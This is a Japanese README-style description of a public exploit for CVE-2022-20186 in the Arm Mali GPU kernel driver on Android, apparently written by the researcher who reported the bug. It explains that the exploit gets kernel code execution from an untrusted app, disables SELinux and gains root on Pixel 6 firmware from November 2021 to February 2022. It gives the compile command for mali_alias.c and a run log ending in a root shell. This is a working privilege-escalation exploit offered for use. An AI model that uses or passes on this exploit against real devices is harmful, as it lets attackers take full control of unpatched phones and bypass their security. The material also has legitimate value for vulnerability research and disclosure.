
CVE-2022-20186を狙ったエクスプロイトで、AndroidのArm Maliカーネルドライバのメモリ破損を標的とします。任意のカーネルコード実行を獲得し、SELinuxを無効化し、Pixel 6上で複数のファームウェアバージョンをサポートしてroot権限を昇格します。
解説記事はこちらです。これは2022年1月に報告したArm Maliカーネルドライバのバグです。このバグは、信頼されていないアプリドメインから任意のカーネルコード実行を獲得し、その後SELinuxを無効化してrootを取得するために使用できます。
このエクスプロイトはGoogle Pixel 6でテストされており、2021年11月から2022年2月までのパッチレベルをサポートしています。いくつかのイメージオフセットを変更することで、他のファームウェアへのサポートを簡単に追加できます。参考までに、ndk-21のclangを用いたコンパイルには以下のコマンドを使用しました:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang mali_alias.c -o mali_alias
このエクスプロイトは滅多に失敗せず、デバイスをクラッシュさせることなく再試行できます。成功すれば、SELinuxを無効化してroot権限を取得します。
oriole:/ $ /data/local/tmp/mali_alias
fingerprint: google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys
tracking page 0x6ff794e000
drain 0x6d5b200000
gpu_va[0] 6ff6698000
gpu_va[1] 6ff6695000
alias 0x6ff6693000
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
overwrite addr : 6ff370051c 51c
overwrite addr : 6de310051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
overwrite addr : 6d5f30051c 51c
overwrite addr : 6d5f10051c 51c
result 50
oriole:/ #